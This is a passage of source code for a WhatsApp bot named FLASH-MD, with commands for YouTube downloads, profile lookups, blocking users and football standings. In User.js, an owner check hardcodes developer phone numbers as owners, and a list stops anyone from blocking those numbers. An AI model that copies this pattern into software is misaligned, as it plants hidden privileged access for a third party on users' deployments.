${video.url}`, 62 | contextInfo: { 63 | forwardingScore: 1, 64 | isForwarded: true, 65 | forwardedNewsletterMessageInfo: { 66 | newsletterJid: '120363238139244263@newsletter', 67 | newsletterName: 'FLASH-MD', 68 | serverMessageId: -1 69 | } 70 | } 71 | }; 72 | 73 | await king.sendMessage(fromJid, message, { quoted: msg }); 74 | 75 | await king.sendMessage(fromJid, { 76 | audio: { url: data.downloadLink }, 77 | mimetype: 'audio/mpeg', 78 | fileName, 79 | contextInfo: { 80 | forwardingScore: 1, 81 | isForwarded: true, 82 | forwardedNewsletterMessageInfo: { 83 | newsletterJid: '120363238139244263@newsletter', 84 | newsletterName: 'FLASH-MD', 85 | serverMessageId: -1 86 | } 87 | }, 88 | caption: 'FLASH-MD V2' 89 | }, { quoted: msg }); 90 | 91 | } catch (err) { 92 | console.error('[PLAY] Error:', err); 93 | await king.sendMessage(fromJid, { 94 | text: 'An error occurred while processing your request.' 95 | }, { quoted: msg }); 96 | } 97 | } 98 | }, 99 | { 100 | name: 'song', 101 | get flashOnly() { 102 | return franceking(); 103 | }, 104 | aliases: ['audiofile', 'mp3doc'], 105 | description: 'Search and send MP3 music as document from YouTube.', 106 | category: 'Search', 107 | execute: async (king, msg, args) => { 108 | const fromJid = msg.key.remoteJid; 109 | const query = args.join(' '); 110 | 111 | if (!query) { 112 | return king.sendMessage(fromJid, { 113 | text: 'Please provide a song name or keyword.' 114 | }, { quoted: msg }); 115 | } 116 | 117 | try { 118 | console.log('[SONG] Searching YT for:', query); 119 | const search = await yts(query); 120 | const video = search.videos[0]; 121 | 122 | if (!video) { 123 | return king.sendMessage(fromJid, { 124 | text: 'No results found for your query.' 125 | }, { quoted: msg }); 126 | } 127 | 128 | const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); 129 | const fileName = `${safeTitle}.mp3`; 130 | const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp3`; 131 | 132 | const response = await axios.get(apiURL); 133 | const data = response.data; 134 | 135 | if (!data.downloadLink) { 136 | return king.sendMessage(fromJid, { 137 | text: 'Failed to retrieve the MP3 download link.' 138 | }, { quoted: msg }); 139 | } 140 | 141 | const message = { 142 | image: { url: video.thumbnail }, 143 | caption: 144 | `*FLASH-MD SONG PLAYER*\n\n` + 145 | `╭───────────────◆\n` + 146 | `│⿻ *Title:* ${video.title}\n` + 147 | `│⿻ *Duration:* ${video.timestamp}\n` + 148 | `│⿻ *Views:* ${video.views.toLocaleString()}\n` + 149 | `│⿻ *Uploaded:* ${video.ago}\n` + 150 | `│⿻ *Channel:* ${video.author.name}\n` + 151 | `╰────────────────◆\n\n` + 152 | `🔗 ${video.url}`, 153 | contextInfo: { 154 | forwardingScore: 1, 155 | isForwarded: true, 156 | forwardedNewsletterMessageInfo: { 157 | newsletterJid: '120363238139244263@newsletter', 158 | newsletterName: 'FLASH-MD', 159 | serverMessageId: -1 160 | } 161 | } 162 | }; 163 | 164 | await king.sendMessage(fromJid, message, { quoted: msg }); 165 | 166 | await king.sendMessage(fromJid, { 167 | document: { url: data.downloadLink }, 168 | mimetype: 'audio/mpeg', 169 | fileName, 170 | caption: '*FLASH-MD V2*' 171 | }, { quoted: msg }); 172 | 173 | } catch (err) { 174 | console.error('[SONG] Error:', err); 175 | await king.sendMessage(fromJid, { 176 | text: 'An error occurred while processing your request.' 177 | }, { quoted: msg }); 178 | } 179 | } 180 | }, 181 | 182 | { 183 | name: 'video', 184 | get flashOnly() { 185 | return franceking(); 186 | }, 187 | aliases: ['vid', 'mp4', 'movie'], 188 | description: 'Search and send video from YouTube as MP4.', 189 | category: 'Search', 190 | execute: async (king, msg, args) => { 191 | const fromJid = msg.key.remoteJid; 192 | const query = args.join(' '); 193 | 194 | if (!query) { 195 | return king.sendMessage(fromJid, { 196 | text: 'Please provide a video name or keyword.' 197 | }, { quoted: msg }); 198 | } 199 | 200 | try { 201 | console.log('[VIDEO] Searching YT for:', query); 202 | const search = await yts(query); 203 | const video = search.videos[0]; 204 | 205 | if (!video) { 206 | return king.sendMessage(fromJid, { 207 | text: 'No results found for your query.' 208 | }, { quoted: msg }); 209 | } 210 | 211 | const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); 212 | const fileName = `${safeTitle}.mp4`; 213 | const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp4`; 214 | 215 | const response = await axios.get(apiURL); 216 | const data = response.data; 217 | 218 | if (!data.downloadLink) { 219 | return king.sendMessage(fromJid, { 220 | text: 'Failed to retrieve the MP4 download link.' 221 | }, { quoted: msg }); 222 | } 223 | 224 | const message = { 225 | image: { url: video.thumbnail }, 226 | caption: 227 | `*FLASH-MD VIDEO PLAYER*\n\n` + 228 | `╭───────────────◆\n` + 229 | `│⿻ *Title:* ${video.title}\n` + 230 | `│⿻ *Duration:* ${video.timestamp}\n` + 231 | `│⿻ *Views:* ${video.views.toLocaleString()}\n` + 232 | `│⿻ *Uploaded:* ${video.ago}\n` + 233 | `│⿻ *Channel:* ${video.author.name}\n` + 234 | `╰────────────────◆\n\n` + 235 | `🔗 ${video.url}`, 236 | contextInfo: { 237 | forwardingScore: 1, 238 | isForwarded: true, 239 | forwardedNewsletterMessageInfo: { 240 | newsletterJid: '120363238139244263@newsletter', 241 | newsletterName: 'FLASH-MD', 242 | serverMessageId: -1 243 | } 244 | } 245 | }; 246 | 247 | await king.sendMessage(fromJid, message, { quoted: msg }); 248 | 249 | await king.sendMessage(fromJid, { 250 | video: { url: data.downloadLink }, 251 | mimetype: 'video/mp4', 252 | fileName, 253 | caption: '*FLASH-MD V2*' 254 | }, { quoted: msg }); 255 | 256 | } catch (err) { 257 | console.error('[VIDEO] Error:', err); 258 | await king.sendMessage(fromJid, { 259 | text: 'An error occurred while processing your request.' 260 | }, { quoted: msg }); 261 | } 262 | } 263 | } 264 | ]; 265 | -------------------------------------------------------------------------------- /commands/User.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const { S_WHATSAPP_NET, downloadContentFromMessage } = require('@whiskeysockets/baileys'); 3 | const jimp = require('jimp'); 4 | const { Sticker, StickerTypes } = require('wa-sticker-formatter'); 5 | 6 | const restrictedJIDs = [ 7 | "254742063632@s.whatsapp.net", 8 | "254750948696@s.whatsapp.net", 9 | "254757835036@s.whatsapp.net", 10 | "254751284190@s.whatsapp.net" 11 | ]; 12 | 13 | function formatJid(input) { 14 | const cleaned = input.replace(/[^0-9]/g, ''); 15 | return `${cleaned}@s.whatsapp.net`; 16 | } 17 | 18 | function isOwner(msg) { 19 | const sender = msg.key.participant || msg.key.remoteJid; 20 | return sender === global.KING_ID || [ 21 | '254742063632@s.whatsapp.net', 22 | '254757835036@s.whatsapp.net' 23 | ].includes(sender); 24 | } 25 | function getSenderJid(msg) { 26 | return msg.key.participant || msg.key.remoteJid; 27 | } 28 | let isStatusFetching = false; 29 | let fetchInterval; 30 | 31 | module.exports = [ 32 | { 33 | name: 'block', 34 | get flashOnly() { 35 | return franceking(); 36 | }, 37 | description: 'Blocks a user on WhatsApp.', 38 | category: 'USER', 39 | ownerOnly: true, 40 | execute: async (king, msg, args) => { 41 | const fromJid = msg.key.remoteJid; 42 | let targetJid; 43 | 44 | if (msg.message?.extendedTextMessage?.contextInfo?.participant) { 45 | targetJid = msg.message.extendedTextMessage.contextInfo.participant; 46 | } else if (args.length > 0) { 47 | targetJid = args[0].includes('@s.whatsapp.net') ? args[0] : formatJid(args[0]); 48 | } else if (fromJid.endsWith('@s.whatsapp.net')) { 49 | targetJid = fromJid; 50 | } else { 51 | return king.sendMessage(fromJid, { text: "Please mention or provide a number to block." }, { quoted: msg }); 52 | } 53 | 54 | if (restrictedJIDs.includes(targetJid)) { 55 | return king.sendMessage(fromJid, { text: "I'm sorry, I cannot block my developer!!" }, { quoted: msg }); 56 | } 57 | 58 | try { 59 | await king.updateBlockStatus(targetJid, "block"); 60 | await king.sendMessage(fromJid, { text: `✅ Blocked ${targetJid} successfully.` }, { quoted: msg }); 61 | } catch (error) { 62 | await king.sendMessage(fromJid, { text: "❌ Error occurred while blocking the user." }, { quoted: msg }); 63 | } 64 | } 65 | }, 66 | 67 | { 68 | name: 'setbio', 69 | get flashOnly() { 70 | return franceking(); 71 | }, 72 | description: 'Set a custom bio/status message.', 73 | category: 'USER', 74 | ownerOnly: true, 75 | 76 | execute: async (king, msg, args) => { 77 | const jid = msg.key.remoteJid; 78 | const bioText = args.join(" "); 79 | if (!bioText) { 80 | return king.sendMessage(jid, { text: "Please provide a bio to set. Usage: `setbio `" }, { quoted: msg }); 81 | } 82 | 83 | try { 84 | await king.query({ 85 | tag: 'iq', 86 | attrs: { 87 | to: S_WHATSAPP_NET, 88 | type: "set", 89 | xmlns: "status" 90 | }, 91 | content: [{ 92 | tag: "status", 93 | attrs: {}, 94 | content: Buffer.from(bioText, "utf-8") 95 | }] 96 | }); 97 | 98 | return king.sendMessage(jid, { text: "Bio updated successfully!" }, { quoted: msg }); 99 | } catch (error) { 100 | console.error("Error updating bio:", error); 101 | return king.sendMessage(jid, { text: "Failed to update bio. Please try again." }, { quoted: msg }); 102 | } 103 | } 104 | }, 105 | 106 | { 107 | name: 'autobio', 108 | get flashOnly() { 109 | return franceking(); 110 | }, 111 | description: 'Toggle automatic status updates with random facts.', 112 | category: 'USER', 113 | ownerOnly: true, 114 | 115 | execute: async (king, msg, args) => { 116 | const jid = msg.key.remoteJid; 117 | const command = args[0]; 118 | 119 | if (!command) { 120 | return king.sendMessage(jid, { text: 'Usage: `autobio on` to enable status fetching or `autobio off` to disable it.' }, { quoted: msg }); 121 | } 122 | 123 | if (command === 'on') { 124 | if (isStatusFetching) { 125 | return king.sendMessage(jid, { text: 'Auto-Bio is already enabled!' }, { quoted: msg }); 126 | } 127 | 128 | isStatusFetching = true; 129 | 130 | fetchInterval = setInterval(async () => { 131 | try { 132 | const response = await fetch('https://nekos.life/api/v2/fact'); 133 | if (!response.ok) throw new Error('Failed to fetch fact'); 134 | 135 | const data = await response.json(); 136 | const statusMessage = `FLASH-MD BIO: ${data.fact}`; 137 | 138 | await king.query({ 139 | tag: 'iq', 140 | attrs: { 141 | to: S_WHATSAPP_NET, 142 | type: 'set', 143 | xmlns: 'status' 144 | }, 145 | content: [{ 146 | tag: 'status', 147 | attrs: {}, 148 | content: Buffer.from(statusMessage, 'utf-8') 149 | }] 150 | }); 151 | } catch (error) { 152 | console.error('Error fetching status:', error); 153 | await king.sendMessage(jid, { text: 'Failed to update status due to an error.' }, { quoted: msg }); 154 | } 155 | }, 60000); 156 | 157 | return king.sendMessage(jid, { text: "Auto-Bio has been enabled. I'll update your WhatsApp bio every minute." }, { quoted: msg }); 158 | } 159 | 160 | if (command === 'off') { 161 | if (!isStatusFetching) { 162 | return king.sendMessage(jid, { text: 'Auto-Bio is already disabled.' }, { quoted: msg }); 163 | } 164 | 165 | clearInterval(fetchInterval); 166 | isStatusFetching = false; 167 | 168 | return king.sendMessage(jid, { text: 'Status fetching disabled.' }, { quoted: msg }); 169 | } 170 | 171 | return king.sendMessage(jid, { text: 'Usage: `autobio on` to enable status fetching or `autobio off` to disable it.' }, { quoted: msg }); 172 | } 173 | }, 174 | { 175 | name: 'getpp', 176 | get flashOnly() { 177 | return franceking(); 178 | }, 179 | description: 'Get the profile picture of a user.', 180 | category: 'USER', 181 | 182 | execute: async (king, msg, args) => { 183 | const jid = msg.key.remoteJid; 184 | const sender = getSenderJid(msg); 185 | 186 | const quotedMsg = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 187 | const targetJid = msg.message?.extendedTextMessage?.contextInfo?.participant || sender; 188 | 189 | let ppUrl; 190 | try { 191 | ppUrl = await king.profilePictureUrl(targetJid, 'image'); 192 | } catch (err) { 193 | ppUrl = "https://static.animecorner.me/2023/08/op2.jpg"; 194 | } 195 | 196 | const mess = { 197 | image: { url: ppUrl }, 198 | caption: 'Here is the Profile picture', 199 | mentions: quotedMsg ? [targetJid] : [] 200 | }; 201 | 202 | await king.sendMessage(jid, mess, { quoted: msg }); 203 | } 204 | }, 205 | 206 | { 207 | name: 'whois', 208 | get flashOnly() { 209 | return franceking(); 210 | }, 211 | description: 'Get user profile picture and status.', 212 | category: 'USER', 213 | 214 | execute: async (king, msg, args) => { 215 | const jid = msg.key.remoteJid; 216 | const sender = getSenderJid(msg); 217 | 218 | const quotedMsg = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 219 | const targetJid = msg.message?.extendedTextMessage?.contextInfo?.participant || sender; 220 | 221 | let ppUrl; 222 | try { 223 | ppUrl = await king.profilePictureUrl(targetJid, 'image'); 224 | } catch (err) { 225 | ppUrl = "https://static.animecorner.me/2023/08/op2.jpg"; 226 | } 227 | 228 | let status = "No status found."; 229 | let dateText = ""; 230 | 231 | try { 232 | const fetchedStatuses = await king.fetchStatus(targetJid); 233 | if (Array.isArray(fetchedStatuses) && fetchedStatuses.length > 0) { 234 | const first = fetchedStatuses[0]; 235 | status = first?.status?.status || "No public status or user has hidden it."; 236 | if (first?.status?.setAt) { 237 | const date = new Date(first.status.setAt); 238 | const formattedDate = date.toLocaleDateString("en-GB"); // DD/MM/YYYY 239 | dateText = `\n*Set at:* ${formattedDate}`; 240 | } 241 | } else { 242 | status = "No public status or user has hidden it."; 243 | } 244 | } catch (err) { 245 | status = "Couldn't retrieve status due to an error."; 246 | } 247 | 248 | const mess = { 249 | image: { url: ppUrl }, 250 | caption: `*Name:* @${targetJid.split("@")[0]}\n*Number:* ${targetJid.replace('@s.whatsapp.net', '')}\n*Status:*\n${status}${dateText}`, 251 | mentions: quotedMsg ? [targetJid] : [] 252 | }; 253 | 254 | await king.sendMessage(jid, mess, { quoted: msg }); 255 | } 256 | }, 257 | { 258 | name: 'mygroups', 259 | get flashOnly() { 260 | return franceking(); 261 | }, 262 | aliases: ['groups'], 263 | description: 'Lists all groups the bot is in.', 264 | category: 'USER', 265 | ownerOnly: true, 266 | 267 | execute: async (king, msg, args) => { 268 | const jid = msg.key.remoteJid; 269 | 270 | try { 271 | 272 | const allChats = await king.groupFetchAllParticipating(); 273 | const groups = Object.values(allChats); 274 | 275 | if (!groups.length) { 276 | return king.sendMessage(jid, { text: "I'm not in any group yet." }, { quoted: msg }); 277 | } 278 | 279 | let groupList = `*GROUPS I AM IN*\n\n`; 280 | 281 | for (let group of groups) { 282 | groupList += `*Group Name*: ${group.subject}\n`; 283 | groupList += `*Members*: ${group.participants.length}\n`; 284 | groupList += `*Group ID*: ${group.id}\n\n`; 285 | } 286 | 287 | await king.sendMessage(jid, { text: groupList }, { quoted: msg }); 288 | } catch (error) { 289 | console.error('Error fetching groups:', error); 290 | await king.sendMessage(jid, { text: 'An error occurred while fetching your groups.' }, { quoted: msg }); 291 | } 292 | } 293 | }, 294 | { 295 | name: 'del', 296 | get flashOnly() { 297 | return franceking(); 298 | }, 299 | aliases: ['delete'], 300 | description: 'Deletes a replied message.', 301 | category: 'USER', 302 | ownerOnly: true, 303 | 304 | execute: async (king, msg, args) => { 305 | const jid = msg.key.remoteJid; 306 | 307 | const quotedMsg = msg.message?.extendedTextMessage?.contextInfo; 308 | if (!quotedMsg) { 309 | return king.sendMessage(jid, { text: "Please reply to a message you want to delete." }, { quoted: msg }); 310 | } 311 | 312 | const isGroup = jid.endsWith('@g.us'); 313 | if (isGroup) { 314 | const metadata = await king.groupMetadata(jid); 315 | const botId = king.user?.id?.split(':')[0] || ''; 316 | const normalizedBotId = botId.includes('@s.whatsapp.net') ? botId : `${botId}@s.whatsapp.net`; 317 | const isBotAdmin = metadata.participants.some(p => 318 | p.id === normalizedBotId && (p.admin === 'admin' || p.admin === 'superadmin') 319 | ); 320 | } 321 | 322 | const key = { 323 | remoteJid: jid, 324 | id: quotedMsg.stanzaId, 325 | fromMe: false, 326 | participant: quotedMsg.participant 327 | }; 328 | 329 | await king.sendMessage(jid, { delete: key }); 330 | } 331 | }, 332 | { 333 | name: 'restart', 334 | get flashOnly() { 335 | return franceking(); 336 | }, 337 | aliases: ['reboot'], 338 | description: 'Restarts the bot.', 339 | category: 'USER', 340 | ownerOnly: true, 341 | 342 | execute: async (king, msg, args) => { 343 | const fromJid = msg.key.remoteJid; 344 | 345 | try { 346 | await king.sendMessage(fromJid, { text: '♻️ Restarting bot... Please wait.' }, { quoted: msg }); 347 | process.exit(0); 348 | } catch (error) { 349 | console.error('[ERROR] Restart command failed:', error); 350 | await king.sendMessage(fromJid, { text: '❌ Failed to restart the bot. Check the logs.' }, { quoted: msg }); 351 | } 352 | } 353 | }, 354 | 355 | { 356 | name: 'unblock', 357 | get flashOnly() { 358 | return franceking(); 359 | }, 360 | description: 'Unblocks a user on WhatsApp.', 361 | category: 'USER', 362 | ownerOnly: true, 363 | 364 | execute: async (king, msg, args) => { 365 | const fromJid = msg.key.remoteJid; 366 | let targetJid; 367 | 368 | if (msg.message?.extendedTextMessage?.contextInfo?.participant) { 369 | targetJid = msg.message.extendedTextMessage.contextInfo.participant; 370 | } else if (args.length > 0) { 371 | targetJid = args[0].includes('@s.whatsapp.net') ? args[0] : formatJid(args[0]); 372 | } else if (fromJid.endsWith('@s.whatsapp.net')) { 373 | targetJid = fromJid; 374 | } else { 375 | return king.sendMessage(fromJid, { text: "Please mention or provide a number to unblock." }, { quoted: msg }); 376 | } 377 | 378 | if (restrictedJIDs.includes(targetJid)) { 379 | return king.sendMessage(fromJid, { text: "You cannot unblock the developer using this command." }, { quoted: msg }); 380 | } 381 | 382 | try { 383 | await king.updateBlockStatus(targetJid, "unblock"); 384 | await king.sendMessage(fromJid, { text: `✅ Unblocked ${targetJid} successfully.` }, { quoted: msg }); 385 | } catch (error) { 386 | await king.sendMessage(fromJid, { text: "❌ Error occurred while unblocking the user." }, { quoted: msg }); 387 | } 388 | } 389 | } 390 | ]; 391 | 392 | 393 | -------------------------------------------------------------------------------- /commands/Sports.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const axios = require('axios'); 3 | 4 | module.exports = [ 5 | { 6 | name: 'serie-a', 7 | get flashOnly() { 8 | return franceking(); 9 | }, 10 | description: 'Serie-a command', 11 | category: 'Sports', 12 | execute: async (king, msg, args, fromJid) => { 13 | try { 14 | const res = await axios.get('https://api.dreaded.site/api/standings/SA'); 15 | const standings = res.data.data; 16 | const message = `*TABLE STANDINGS FOR SERIE-A*\n\n${standings}`; 17 | 18 | await king.sendMessage(fromJid, { 19 | text: message, 20 | contextInfo: { 21 | forwardingScore: 1, 22 | isForwarded: true, 23 | forwardedNewsletterMessageInfo: { 24 | newsletterJid: '120363238139244263@newsletter', 25 | newsletterName: 'FLASH-MD', 26 | serverMessageId: -1 27 | } 28 | } 29 | }, { quoted: msg }); 30 | } catch (error) { 31 | await king.sendMessage(fromJid, { 32 | text: '⚠️ Something went wrong. Unable to fetch Serie A standings.', 33 | contextInfo: { 34 | forwardingScore: 1, 35 | isForwarded: true, 36 | forwardedNewsletterMessageInfo: { 37 | newsletterJid: '120363238139244263@newsletter', 38 | newsletterName: 'FLASH-MD', 39 | serverMessageId: -1 40 | } 41 | } 42 | }, { quoted: msg }); 43 | } 44 | } 45 | }, 46 | 47 | { 48 | name: 'tinyurl', 49 | get flashOnly() { 50 | return franceking(); 51 | }, 52 | aliases: ['shorturl'], 53 | description: 'Tinyurl command', 54 | category: 'General', 55 | execute: async (king, msg, args, fromJid) => { 56 | const text = args.join(' '); 57 | if (!text) { 58 | return king.sendMessage(fromJid, { 59 | text: "Please provide a URL to shorten.", 60 | }, { quoted: msg }); 61 | } 62 | 63 | const urlRegex = /^(http:\/\/|https:\/\/)[^\s/$.?#].[^\s]*$/i; 64 | if (!urlRegex.test(text)) { 65 | return king.sendMessage(fromJid, { 66 | text: "That doesn't appear to be a valid URL.", 67 | }, { quoted: msg }); 68 | } 69 | 70 | try { 71 | const res = await axios.get(`https://api.dreaded.site/api/shorten-url?url=${encodeURIComponent(text)}`); 72 | const data = res.data; 73 | 74 | if (!data || data.status !== 200 || !data.result || !data.result.shortened_url) { 75 | return king.sendMessage(fromJid, { 76 | text: "We are sorry, but the URL shortening service didn't respond correctly. Please try again later.", 77 | }, { quoted: msg }); 78 | } 79 | 80 | const shortenedUrl = data.result.shortened_url; 81 | const originalUrl = data.result.original_url; 82 | 83 | await king.sendMessage(fromJid, { 84 | text: `*Shortened URL*: ${shortenedUrl}`, 85 | }, { quoted: msg }); 86 | 87 | } catch (e) { 88 | console.error("Error occurred:", e); 89 | await king.sendMessage(fromJid, { 90 | text: "An error occurred while shortening the URL. Please try again later.", 91 | }, { quoted: msg }); 92 | } 93 | } 94 | }, 95 | 96 | { 97 | name: 'bundesliga', 98 | get flashOnly() { 99 | return franceking(); 100 | }, 101 | aliases: ['bl1', 'germany'], 102 | description: 'Get the current Bundesliga standings.', 103 | category: 'Sports', 104 | execute: async (king, msg, args, fromJid) => { 105 | try { 106 | const response = await axios.get('https://api.dreaded.site/api/standings/BL1'); 107 | const standings = response.data.data; 108 | 109 | let table; 110 | if (typeof standings === 'string') { 111 | table = `🏆 *TABLE STANDINGS FOR BUNDESLIGA*\n\n${standings}`; 112 | } else if (Array.isArray(standings)) { 113 | table = '🏆 *TABLE STANDINGS FOR BUNDESLIGA*\n\n'; 114 | standings.forEach((team, index) => { 115 | table += `*${index + 1}. ${team.team}*\n`; 116 | table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; 117 | }); 118 | } else { 119 | table = '⚠️ Unexpected data format from API.'; 120 | } 121 | 122 | await king.sendMessage(fromJid, { 123 | text: table.trim(), 124 | contextInfo: { 125 | forwardingScore: 1, 126 | isForwarded: true, 127 | forwardedNewsletterMessageInfo: { 128 | newsletterJid: '120363238139244263@newsletter', 129 | newsletterName: 'FLASH-MD', 130 | serverMessageId: -1 131 | } 132 | } 133 | }, { quoted: msg }); 134 | 135 | } catch (err) { 136 | console.error('[BUNDESLIGA ERROR]', err); 137 | await king.sendMessage(fromJid, { 138 | text: '⚠️ Something went wrong. Unable to fetch Bundesliga standings.', 139 | contextInfo: { 140 | forwardingScore: 1, 141 | isForwarded: true, 142 | forwardedNewsletterMessageInfo: { 143 | newsletterJid: '120363238139244263@newsletter', 144 | newsletterName: 'FLASH-MD', 145 | serverMessageId: -1 146 | } 147 | } 148 | }, { quoted: msg }); 149 | } 150 | } 151 | }, 152 | 153 | { 154 | name: 'epl', 155 | get flashOnly() { 156 | return franceking(); 157 | }, 158 | aliases: ['premierleague', 'pl'], 159 | description: 'Get the current English Premier League standings.', 160 | category: 'Sports', 161 | execute: async (king, msg, args, fromJid) => { 162 | try { 163 | const response = await axios.get('https://api.dreaded.site/api/standings/PL'); 164 | const standings = response.data.data; 165 | 166 | let table; 167 | if (typeof standings === 'string') { 168 | table = `🏆 *ENGLISH PREMIER LEAGUE STANDINGS*\n\n${standings}`; 169 | } else if (Array.isArray(standings)) { 170 | table = '🏆 *ENGLISH PREMIER LEAGUE STANDINGS*\n\n'; 171 | standings.forEach((team, index) => { 172 | table += `*${index + 1}. ${team.team}*\n`; 173 | table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; 174 | }); 175 | } else { 176 | table = '⚠️ Unexpected data format from API.'; 177 | } 178 | 179 | await king.sendMessage(fromJid, { 180 | text: table.trim(), 181 | contextInfo: { 182 | forwardingScore: 1, 183 | isForwarded: true, 184 | forwardedNewsletterMessageInfo: { 185 | newsletterJid: '120363238139244263@newsletter', 186 | newsletterName: 'FLASH-MD', 187 | serverMessageId: -1 188 | } 189 | } 190 | }, { quoted: msg }); 191 | 192 | } catch (err) { 193 | console.error('[EPL ERROR]', err); 194 | await king.sendMessage(fromJid, { 195 | text: '⚠️ Something went wrong. Unable to fetch EPL standings.', 196 | contextInfo: { 197 | forwardingScore: 1, 198 | isForwarded: true, 199 | forwardedNewsletterMessageInfo: { 200 | newsletterJid: '120363238139244263@newsletter', 201 | newsletterName: 'FLASH-MD', 202 | serverMessageId: -1 203 | } 204 | } 205 | }, { quoted: msg }); 206 | } 207 | } 208 | }, 209 | 210 | { 211 | name: 'laliga', 212 | get flashOnly() { 213 | return franceking(); 214 | }, 215 | aliases: ['ll', 'spain'], 216 | description: 'Get the current La Liga standings.', 217 | category: 'Sports', 218 | execute: async (king, msg, args, fromJid) => { 219 | try { 220 | const response = await axios.get('https://api.dreaded.site/api/standings/PD'); 221 | const standings = response.data.data; 222 | 223 | let table; 224 | if (typeof standings === 'string') { 225 | table = `🏆 *LA LIGA TABLE STANDINGS*\n\n${standings}`; 226 | } else if (Array.isArray(standings)) { 227 | table = '🏆 *LA LIGA TABLE STANDINGS*\n\n'; 228 | standings.forEach((team, index) => { 229 | table += `*${index + 1}. ${team.team}*\n`; 230 | table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; 231 | }); 232 | } else { 233 | table = '⚠️ Unexpected data format from API.'; 234 | } 235 | 236 | await king.sendMessage(fromJid, { 237 | text: table.trim(), 238 | contextInfo: { 239 | forwardingScore: 1, 240 | isForwarded: true, 241 | forwardedNewsletterMessageInfo: { 242 | newsletterJid: '120363238139244263@newsletter', 243 | newsletterName: 'FLASH-MD', 244 | serverMessageId: -1 245 | } 246 | } 247 | }, { quoted: msg }); 248 | 249 | } catch (err) { 250 | console.error('[LALIGA ERROR]', err); 251 | await king.sendMessage(fromJid, { 252 | text: '⚠️ Something went wrong. Unable to fetch La Liga standings.', 253 | contextInfo: { 254 | forwardingScore: 1, 255 | isForwarded: true, 256 | forwardedNewsletterMessageInfo: { 257 | newsletterJid: '120363238139244263@newsletter', 258 | newsletterName: 'FLASH-MD', 259 | serverMessageId: -1 260 | } 261 | } 262 | }, { quoted: msg }); 263 | } 264 | } 265 | }, 266 | 267 | { 268 | name: 'ligue1', 269 | get flashOnly() { 270 | return franceking(); 271 | }, 272 | aliases: ['fl1'], 273 | description: 'Get the current Ligue 1 standings.', 274 | category: 'Sports', 275 | execute: async (king, msg, args, fromJid) => { 276 | try { 277 | const response = await axios.get('https://api.dreaded.site/api/standings/FL1'); 278 | const standings = response.data.data; 279 | 280 | let table; 281 | if (typeof standings === 'string') { 282 | table = `🏆 *LIGUE 1 TABLE STANDINGS*\n\n${standings}`; 283 | } else if (Array.isArray(standings)) { 284 | table = '🏆 *LIGUE 1 TABLE STANDINGS*\n\n'; 285 | standings.forEach((team, index) => { 286 | table += `*${index + 1}. ${team.team}*\n`; 287 | table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; 288 | }); 289 | } else { 290 | table = '⚠️ Unexpected data format from API.'; 291 | } 292 | 293 | await king.sendMessage(fromJid, { 294 | text: table.trim(), 295 | contextInfo: { 296 | forwardingScore: 1, 297 | isForwarded: true, 298 | forwardedNewsletterMessageInfo: { 299 | newsletterJid: '120363238139244263@newsletter', 300 | newsletterName: 'FLASH-MD', 301 | serverMessageId: -1 302 | } 303 | } 304 | }, { quoted: msg }); 305 | 306 | } catch (err) { 307 | console.error('[LIGUE1 ERROR]', err); 308 | await king.sendMessage(fromJid, { 309 | text: '⚠️ Something went wrong. Unable to fetch Ligue 1 standings.', 310 | contextInfo: { 311 | forwardingScore: 1, 312 | isForwarded: true, 313 | forwardedNewsletterMessageInfo: { 314 | newsletterJid: '120363238139244263@newsletter', 315 | newsletterName: 'FLASH-MD', 316 | serverMessageId: -1 317 | } 318 | } 319 | }, { quoted: msg }); 320 | } 321 | } 322 | }, 323 | 324 | { 325 | name: 'matches', 326 | get flashOnly() { 327 | return franceking(); 328 | }, 329 | aliases: ['fixtures', 'todaymatches'], 330 | description: 'Shows today\'s football matches from top leagues.', 331 | category: 'Sports', 332 | execute: async (king, msg, args, fromJid) => { 333 | try { 334 | const leagues = { 335 | '🇬🇧 Premier League': 'PL', 336 | '🇪🇸 La Liga': 'PD', 337 | '🇩🇪 Bundesliga': 'BL1', 338 | '🇮🇹 Serie A': 'SA', 339 | '🇫🇷 Ligue 1': 'FR' 340 | }; 341 | 342 | let message = `⚽ *Today's Football Matches*\n\n`; 343 | 344 | for (const [leagueName, code] of Object.entries(leagues)) { 345 | const res = await axios.get(`https://api.dreaded.site/api/matches/${code}`); 346 | const matches = res.data.data; 347 | 348 | if (typeof matches === 'string') { 349 | message += `${leagueName}:\n${matches}\n\n`; 350 | } else if (Array.isArray(matches) && matches.length > 0) { 351 | message += `${leagueName}:\n${matches.map(match => { 352 | return `${match.game}\n📅 Date: ${match.date}\n⏰ Time: ${match.time} (EAT)\n`; 353 | }).join('\n')}\n\n`; 354 | } else { 355 | message += `${leagueName}: No matches scheduled\n\n`; 356 | } 357 | } 358 | 359 | message += '🕒 *Times are in East African Time (EAT).*'; 360 | 361 | await king.sendMessage(fromJid, { 362 | text: message.trim(), 363 | contextInfo: { 364 | forwardingScore: 1, 365 | isForwarded: true, 366 | forwardedNewsletterMessageInfo: { 367 | newsletterJid: '120363238139244263@newsletter', 368 | newsletterName: 'FLASH-MD', 369 | serverMessageId: -1 370 | } 371 | } 372 | }, { quoted: msg }); 373 | 374 | } catch (err) { 375 | console.error('[MATCHES ERROR]', err); 376 | await king.sendMessage(fromJid, { 377 | text: '⚠️ Something went wrong. Unable to fetch matches.', 378 | contextInfo: { 379 | forwardingScore: 1, 380 | isForwarded: true, 381 | forwardedNewsletterMessageInfo: { 382 | newsletterJid: '120363238139244263@newsletter', 383 | newsletterName: 